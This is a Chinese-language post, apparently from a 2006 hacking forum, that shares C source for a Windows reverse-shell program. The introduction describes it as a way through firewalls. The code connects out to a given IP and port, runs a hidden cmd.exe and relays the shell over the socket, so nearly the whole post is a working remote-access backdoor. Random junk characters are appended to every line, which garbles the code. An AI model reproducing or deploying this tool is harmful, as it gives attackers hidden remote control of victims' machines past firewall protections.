这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ^]_5oFRIj
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/* ============================== m|%L[h1
Rebound port in Windows NT ,Qw\w,
By wind,2006/7 SBbPO5^](
===============================*/ RPh8n4&("
#include UEb'b,O_9
#include |nu)=Ag
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#pragma comment(lib,"wsock32.lib") #n5DK{e
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void OutputShell(); o(|fapK.
SOCKET sClient; GQvJj4LJp
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; /5s,<
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void main(int argc,char **argv) ZQ_&HmgRy
{ vrr`^UB2
WSADATA stWsaData; yJMHm8OB7
int nRet; q]}1/JZS
SOCKADDR_IN stSaiClient,stSaiServer; hj*Fn
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if(argc != 3) yClbM5,
{ ;'fn{j6C
printf("Useage:\n\rRebound DestIP DestPort\n"); @:M?Re`L
return; $1ZFkw
} *qN(_
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WSAStartup(MAKEWORD(2,2),&stWsaData); q@6Je(H
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); z"*$ .
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stSaiClient.sin_family = AF_INET; x#0B
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stSaiClient.sin_port = htons(0); Q|1X|_hs
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); G#(+p|n
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) M .J
{ .o_?n.H'&
printf("Bind Socket Failed!\n"); /`x)B(b
return; sO;]l"{<
} Cjn)`Q8
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stSaiServer.sin_family = AF_INET; >_m4
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stSaiServer.sin_port = htons((u_short)atoi(argv[2])); RO9oO7S
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Q&;d7A.@
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) (46S^*
{ /U1 jCLR'
printf("Connect Error!"); J]=2] oI2
return; w?db~"T
} >8>}o4Q/X
OutputShell(); X"z!52*3]
} o@! !I w
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void OutputShell() tG"lI/
{ $S(q;Y
char szBuff[1024]; ]L?DV3N
SECURITY_ATTRIBUTES stSecurityAttributes; :87HXz6]jS
OSVERSIONINFO stOsversionInfo; ,2y" \_
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; G1`H
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STARTUPINFO stStartupInfo; I$#)k^Q
char *szShell; wwI'n*Q'$
PROCESS_INFORMATION stProcessInformation; }ippi6b:r
unsigned long lBytesRead; h4 X >
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); MY$-D+#/`
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); rdY/QvP0=
stSecurityAttributes.lpSecurityDescriptor = 0; x.:k0;%Q
stSecurityAttributes.bInheritHandle = TRUE; R{hq1-
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ?4&C)[^
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 1MF0HiC
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (wtw1E5X
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :+nECk
stStartupInfo.wShowWindow = SW_HIDE; z/IZ ;K_e
stStartupInfo.hStdInput = hReadPipe; "VfV;)]|w
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; EgY yvS)
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GetVersionEx(&stOsversionInfo); oD=6D9c?
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switch(stOsversionInfo.dwPlatformId) -Jj"JN.
{ ji~P?5(:
case 1: C*f3PB=H_
szShell = "command.com"; 'r2VWavT
break; #FHyP1uyc
default: PM
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szShell = "cmd.exe";
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break; Wz^M*=,
} \a|bx4M
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); e[8AdE
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send(sClient,szMsg,77,0); nnm9pnx
while(1) UJX=lh.o
{ (fYrb#]!y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); a=!I(50
if(lBytesRead) OlV'#D
{ 6}>:sr
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); !_|rVg.
send(sClient,szBuff,lBytesRead,0); k\J 6WT
} vMQvq9T}
else > 10pk
{ .vbUv3NI
lBytesRead=recv(sClient,szBuff,1024,0); (6WSQqp
if(lBytesRead<=0) break; S/XkxGZ2
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O [81nlhS0
} !83N.
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} YVEin1]
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return; $7 08\!
}